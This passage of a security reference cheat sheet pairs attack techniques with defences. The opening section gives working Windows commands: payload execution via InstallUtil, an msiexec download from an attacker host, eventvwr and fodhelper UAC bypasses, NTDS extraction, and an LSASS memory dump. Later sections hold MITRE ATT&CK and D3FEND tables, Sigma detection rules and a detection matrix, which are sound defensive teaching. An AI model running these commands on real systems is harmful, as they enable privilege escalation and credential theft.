:: installutil - execute .NET assembly
InstallUtil.exe /logfile= /LogToConsole=false C:\path\payload.dll

:: msiexec - execute MSI remotely
msiexec /i http://ATTACKER/payload.msi /quiet
```

#### UAC Bypass
```cmd
:: eventvwr.exe - registry-based UAC bypass
:: Set HKCU\Software\Classes\mscfile\shell\open\command to payload
reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /d "cmd.exe /c payload.exe" /f
eventvwr.exe

:: fodhelper.exe - similar registry technique
reg add HKCU\Software\Classes\ms-settings\shell\open\command /ve /d "cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ /f
fodhelper.exe
```

#### Credential Dumping
```cmd
:: diskshadow - NTDS extraction via VSS
diskshadow /s shadow_script.txt
:: Script: set context persistent nowriters; add volume c: alias dc; create; expose %dc% z:;
:: Then: copy z:\windows\ntds\ntds.dit C:\temp\ntds.dit

:: comsvcs.dll - LSASS dump via rundll32
rundll32 comsvcs.dll,MiniDump <LSASS_PID> C:\temp\lsass.dmp full
```
---
## 8. MITRE Frameworks

### 8.1 ATT&CK - Key Technique Reference

| Tactic | Critical Techniques |
|--------|-------------------|
| **Initial Access** | T1566 Phishing, T1190 Exploit Public App, T1078 Valid Accounts, T1195 Supply Chain |
| **Execution** | T1059 Scripting (PS, Bash, Python), T1204 User Execution, T1047 WMI |
| **Persistence** | T1547 Boot/Logon Autostart, T1136 Create Account, T1574 Hijack Execution |
| **Priv Esc** | T1548 Abuse Elevation, T1134 Token Manipulation, T1055 Process Injection, T1068 Exploitation |
| **Defense Evasion** | T1027 Obfuscation, T1562 Impair Defenses, T1036 Masquerading, T1553 Subvert Trust |
| **Credential Access** | T1003 OS Credential Dumping, T1558 Kerberos Tickets, T1110 Brute Force, T1555 Password Stores |
| **Discovery** | T1087 Account Discovery, T1046 Network Scanning, T1082 System Info, T1069 Groups |
| **Lateral Movement** | T1021 Remote Services, T1550 Alternate Auth (PtH, PtT), T1210 Exploit Remote Services |
| **C2** | T1071 App Layer Protocol, T1573 Encrypted Channel, T1090 Proxy, T1571 Non-Standard Port |
| **Exfiltration** | T1041 Over C2, T1567 Over Web Service, T1048 Over Alternative Protocol |
| **Impact** | T1486 Ransomware, T1485 Data Destruction, T1489 Service Stop |

### 8.2 D3FEND - Defensive Countermeasures

| D3FEND Tactic | Key Techniques | Counters ATT&CK |
|--------------|----------------|-----------------|
| **Model** | Asset Inventory, Network Mapping, System Mapping | Foundation for all defense |
| **Harden** | MFA (D3-MFA), Credential Rotation (D3-CRO), Certificate Pinning, Disk Encryption, Stack Canaries | T1078, T1110, T1003 |
| **Detect** | Network Traffic Analysis (D3-NTA), Process Analysis (D3-PA), User Behavior Analysis (D3-UBA), File Integrity Monitoring | T1071, T1055, T1078, T1565 |
| **Isolate** | Network Segmentation, Execution Isolation, Content Filtering, DNS Denylisting, Executable Allowlisting | T1021, T1059, T1566, T1071 |
| **Deceive** | Honeynets (D3-DE), Decoy Credentials, Decoy Files, Decoy Network Resources | T1003, T1083, T1046 |
| **Evict** | Account Locking, Credential Revocation, Process Termination, File Deletion | T1078, T1136, T1059 |
| **Restore** | Credential Reissue, Configuration Recovery, Database Restore, Software Restore | T1486, T1485, T1489 |
---
## 9. Detection Signatures

### 9.1 Network-Based Detection

```yaml
title: Potential NTLM Relay Attack via SMB
id: 9b3e5f12-7d4a-4c8b-a1e6-2f9d8b3c7a45
status: experimental
description: Detects SMB authentication attempts from non-standard sources indicating possible NTLM relay
logsource:
Category: network_connection
Product: windows
detection:
Selection:
    DestinationPort: 445
    SourceAddress|cidr:
      - '10.0.0.0/8'
Filter:
    SourceAddress|cidr:
      - '10.0.0.0/24'   # Adjust to expected admin subnets
Condition: selection and not filter
falsepositives:
  - Legitimate cross-subnet SMB from admin workstations
level: medium
tags:
  - attack.t1557.001
  - attack.lateral_movement
```

```yaml
title: DNS Tunneling Indicators - Long Subdomain Labels
id: 4a7c2e8f-1b3d-4f9a-8c5e-6d2f7b1a9e34
status: experimental
description: Detects DNS queries with unusually long subdomain labels indicative of DNS tunneling
logsource:
Category: dns
Product: any
detection:
Selection:
Query|re: '^[a-z0-9]{32,}\.'
Condition: selection
falsepositives:
  - CDN and cloud service hostnames with long identifiers
level: medium
tags:
  - attack.t1071.004
  - attack.command_and_control
```

```yaml
title: Kerberoasting Service Ticket Request
id: 6f8e3d21-4a5b-4c7e-9b12-3d8f7a2c1e56
status: experimental
description: Detects TGS requests for service accounts using RC4 encryption (downgrade attack)
logsource:
Product: windows
Service: security
detection:
Selection:
    EventID: 4769
    TicketEncryptionType: '0x17'   # RC4
    ServiceName|endswith: '$'
Filter:
    ServiceName: 'krbtgt'
Condition: selection and not filter
falsepositives:
  - Legacy systems requiring RC4 Kerberos encryption
level: high
tags:
  - attack.t1558.003
  - attack.credential_access
```

```yaml
title: EC2 Metadata Service Access from Web Application
id: 2c4f8a19-7e3b-4d6c-8a15-9f1e2b7d3c48
status: experimental
description: Detects HTTP requests to the EC2 metadata service endpoint from web application processes
logsource:
Category: proxy
Product: aws
detection:
Selection:
Url|contains: '169.254.169.254'
Condition: selection
falsepositives:
  - Legitimate application metadata queries at startup
level: high
tags:
  - attack.t1552.005
  - attack.credential_access
```

### 9.2 Host-Based Detection

```yaml
title: LOLBAS Certutil Download
id: 7d2e9f34-1a5c-4b8e-a3f7-8c6d2e1b4a59
status: experimental
description: Detects certutil being used to download files from external URLs
logsource:
Category: process_creation
Product: windows
detection:
Selection:
    Image|endswith: '\certutil.exe'
    CommandLine|contains:
      - 'urlcache'
      - 'verifyctl'
Filter:
    CommandLine|contains:
      - 'microsoft.com'
      - 'windowsupdate.com'
Condition: selection and not filter
falsepositives:
  - Legitimate certificate validation against Microsoft CRL
level: high
tags:
  - attack.t1105
  - attack.command_and_control
```

```yaml
title: GTFOBins SUID Binary Exploitation
id: 3e8f1a27-5c4d-4b9e-a6f2-1d7c8b3e9a45
status: experimental
description: Detects execution patterns consistent with GTFOBins SUID exploitation
logsource:
Category: process_creation
Product: linux
detection:
Selection_find:
    Image|endswith: '/find'
    CommandLine|contains: '-exec'
    CommandLine|contains: '/bin/sh'
Selection_python:
    Image|contains: 'python'
    CommandLine|contains: 'os.execl'
    CommandLine|contains: '/bin/sh'
Selection_tar:
    Image|endswith: '/tar'
    CommandLine|contains: 'checkpoint-action=exec'
Condition: selection_find or selection_python or selection_tar
falsepositives:
  - Automated build scripts using find -exec
level: high
tags:
  - attack.t1548.001
  - attack.privilege_escalation
```

```yaml
title: DCSync Attack Detection
id: 5f9a2e81-3b7c-4d6e-8a49-2c1f7e3d8b56
status: experimental
description: Detects replication requests from non-DC sources indicating DCSync attack
logsource:
Product: windows
Service: security
detection:
Selection:
    EventID: 4662
    Properties|contains:
      - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes
      - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes-All
Filter:
    SubjectUserName|endswith: '$'
    SubjectUserName|contains: 'DC'
Condition: selection and not filter
falsepositives:
  - Azure AD Connect servers performing legitimate replication
level: critical
tags:
  - attack.t1003.006
  - attack.credential_access
```
---
## 10. Cross-Reference: Attack to Detection Matrix

| Attack Technique | ATT&CK ID | D3FEND Counter | Detection Method |
|-----------------|-----------|----------------|-----------------|
| SYN Scan | T1046 | D3-NTA | Firewall logs, IDS signature for rapid SYN |
| NTLM Relay | T1557.001 | D3-MFA, D3-NI | SMB signing enforcement, EPA |
| Kerberoasting | T1558.003 | D3-CRO | Event 4769 with RC4 encryption |
| AS-REP Roasting | T1558.004 | D3-SPP | Event 4768 without pre-auth |
| DCSync | T1003.006 | D3-PA | Event 4662 replication from non-DC |
| Golden Ticket | T1558.001 | D3-CRO | Event 4769 with unusual encryption/lifetime |
| Pass the Hash | T1550.002 | D3-MFA | Event 4624 type 3 with NTLM |
| EC2 SSRF | T1552.005 | D3-NI | Metadata service access from web app |
| IAM Priv Esc | T1078 | D3-UBA | CloudTrail anomalous IAM API calls |
| LOLBAS Download | T1105 | D3-EI | Process monitoring certutil/bitsadmin |
| GTFOBins SUID | T1548.001 | D3-EI | Auditd SUID execution monitoring |
| Credential Harvest | T1056.003 | D3-CA | SSL cert mismatch, URL reputation |
| DNS Tunneling | T1071.004 | D3-NTA | Long subdomain labels, high query volume |
| Reverse Shell | T1059 | D3-NI | Outbound connections to non-standard ports |
| AD CS ESC1 | T1649 | D3-CA | Cert template with SAN + client auth |
| RBCD Abuse | T1550 | D3-PA | msDS-AllowedToActOnBehalfOfOtherIdentity changes |
